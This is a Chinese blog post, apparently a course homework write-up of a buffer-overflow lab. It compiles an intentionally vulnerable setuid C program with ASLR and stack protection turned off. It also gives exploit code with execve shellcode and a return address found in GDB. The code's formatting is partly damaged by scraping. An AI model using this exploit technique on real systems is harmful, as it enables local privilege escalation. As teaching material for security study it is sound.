缓冲区溢出

2019/12/4 11:33:45


首先是安装一些用于编译的32位C程序e148

$ sudo apt-get update

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

关闭地址随机化

$ sudo sysctl -w kernel.randomize_va_space=0

设置zsh文件

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

进入linux32位系统并进入/bin/bash

linux32
cd /bin/bash

在/tmp下键一个stack.c

$ cd /tmp
$ vi stack.c

输入内容:

/* stack.c */

/* This program has a buffer overflow vulnerability. /

/
Our task is to exploit this vulnerability */

include <stdlib.h>

include <stdio.h>

include <string.h>

int bof(char *str)
{
char buffer[12]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return 1;
} int main(int argc, char **argv)
{
char str[517];
FILE *badfile; badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str); printf("Returned Properly\n");
return 1;
}

编译该程序,并设置 SET-UID

 $ sudo su

$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

$ chmod u+s stack

$ exit

在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h> char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
; void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

gdb 调试

$ gdb stack

$ disass main

计算 shellcode 的地址为 0xffffd2d0(十六进制) + 0x64(100的十六进制) = 0xffffd334(十六进制)

现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x34\xd3\xff\xff

先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

2019-2020-1 20199328《Linux内核原理与分析》第十二周作业的更多相关文章

  1. 2019-2020-1 20199329《Linux内核原理与分析》第十三周作业

    <Linux内核原理与分析>第十三周作业 一.本周内容概述 通过重现缓冲区溢出攻击来理解漏洞 二.本周学习内容 1.实验简介 注意:实验中命令在 xfce 终端中输入,前面有 $ 的内容为 ...

  2. 2019-2020-1 20199329《Linux内核原理与分析》第十一周作业

    <Linux内核原理与分析>第十一周作业 一.本周内容概述: 学习linux安全防护方面的知识 完成实验楼上的<ShellShock 攻击实验> 二.本周学习内容: 1.学习& ...

  3. 2019-2020-1 20199329《Linux内核原理与分析》第八周作业

    <Linux内核原理与分析>第八周作业 一.本周内容概述: 理解编译链接的过程和ELF可执行文件格式 编程练习动态链接库的两种使用方式 使用gdb跟踪分析一个execve系统调用内核处理函 ...

  4. 2019-2020-1 20199329《Linux内核原理与分析》第七周作业

    <Linux内核原理与分析>第七周作业 一.本周内容概述: 对Linux系统如何创建一个新进程进行追踪 分析Linux内核创建一个新进程的过程 二.本周学习内容: 1.学习进程的描述 操作 ...

  5. 2019-2020-1 20199329《Linux内核原理与分析》第六周作业

    <Linux内核原理与分析>第六周作业 一.本周内容概述: 学习系统调用的相关理论知识,并使用库函数API和C代码中嵌入汇编代码两种方式使用getpid()系统调用 学习系统调用syste ...

  6. 2019-2020-1 20199329《Linux内核原理与分析》第五周作业

    <Linux内核原理与分析>第五周作业 一.上周问题总结: 虚拟机将c文件汇编成汇编文件时忘记添加include<stdio.h> gdb跟踪汇编过程不熟练 二.本周学习内容: ...

  7. 2019-2020-1 20199329《Linux内核原理与分析》第三周作业

    <Linux内核原理与分析>第三周作业 一.上周问题总结: 第二周头脑风暴完成较慢 虚拟机libc配置错误 书本知识使用不够熟练 二.本周学习内容: 1.实验楼环境虚拟一个x86的CPU硬 ...

  8. 2018-2019-1 20189221 《Linux内核原理与分析》第八周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第八周作业 实验七 编译链接过程 gcc –e –o hello.cpp hello.c / gcc -x cpp-o ...

  9. 2018-2019-1 20189221 《Linux内核原理与分析》第七周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第七周作业 实验六 分析Linux内核创建一个新进程的过程 代码分析 task_struct: struct task ...

  10. 2018-2019-1 20189221 《Linux内核原理与分析》第六周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第六周作业 实验五 实验过程 将Fork函数移植到Linux的MenuOS fork()函数通过系统调用创建一个与原来 ...

随机推荐

  1. 20175314 《Java程序设计》第十一周学习总结

    20175314 <Java程序设计>第十一周学习总结 教材学习内容总结 URL类 URL类是java.net包中的一个类,用URL创建的对象可以获取URL中的资,其包括三部分信息:协议. ...

  2. 求组合数m_n

    下面为求取组合数的代码: #include <stdio.h> #define MAX 10009 ]; void print(int *v, int length) { ; for (; ...

  3. Python第十三章-网络编程

    网络编程 一.网络编程基础 python 的网络编程模块主要支持两种Internet协议: TCP 和 UDP. 1.1通信协议 通信协议也叫网络传输协议或简称为传送协议(Communications ...

  4. 悟懂MapReduce,不纠结!

    在<谷歌 MapReduce 初探>中,我们通过统计词频的 WordCount 经典案例,对 Google 推出的 MapReduce 编程模型有了一个认识,但是那种认识,还只是停留在知道 ...

  5. 安装myeclipse-10.7.1及注册解码

      1.安装myeclipse-10.7.1 (1)百度云下载地址: http://pan.baidu.com/s/1dDwbI1b (2)按照默认安装路径安装myeclipse-10.7.1 默认安 ...

  6. 1020 Tree Traversals (25 分)

    Suppose that all the keys in a binary tree are distinct positive integers. Given the postorder and i ...

  7. python--django中一些有用的工具引入路径

    django.shortcuts render:渲染前端页面 redirect:跳转到其他页面 django forms:表单验证 # 定义 class Form(forms.Form): name ...

  8. PHP获取当天、本周、本月、本季度、本年度时间

    function get_date($date, $t = 'd', $n = 0) { if ($t == 'd') { $firstday = date('Y-m-d 00:00:00', str ...

  9. 15-场景中用到的资源监视器(perfmon metrics collector)

    JMeter 无法提取除 Tomcat 之外的其他服务器的指标,因此PerfMon Metrics Collector可用来获取性能数据. PerfMon Metrics Collector使用的是S ...

  10. 登陆ECP后,无法正常现实OU

    当我们在ECP创建邮箱账户或者会议室的时候,发现无法预览所有OU信息 这是因为,默认情况下,Exchange只能识别到500个OU,如果要解决这个问题就需要我们到后端服务器修改配置文件 文件路径:C: ...